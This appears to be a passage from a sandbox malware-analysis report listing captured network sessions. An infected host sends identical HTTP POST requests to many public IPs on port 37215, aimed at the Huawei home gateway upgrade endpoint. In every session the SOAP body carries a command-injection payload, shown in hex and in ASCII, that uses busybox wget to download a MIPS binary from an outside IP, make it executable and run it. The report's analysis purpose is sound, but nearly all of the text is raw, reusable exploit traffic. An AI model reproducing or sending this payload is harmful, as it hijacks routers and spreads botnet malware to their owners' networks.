73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.13	44048	197.255.246.136	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.983452082 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.13	52668	156.197.209.223	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.984292984 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.13	57818	156.159.10.140	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.985167027 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.13	53016	156.32.124.85	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.986004114 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.13	57044	156.218.214.250	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.986870050 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.13	37842	41.209.100.187	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.987735987 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.13	51130	41.109.81.128	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.988624096 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.13	58502	197.156.129.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.989479065 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.13	37196	41.89.132.28	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.990322113 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.13	52860	156.29.235.89	37215

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:37:59.991203070 CEST	889	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 37 31 2e 35 39 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 74 34 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.71.59 -l /tmp/.unstable -r /t4t4t4t4t4t4t4t4t4t4t4t4t4pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
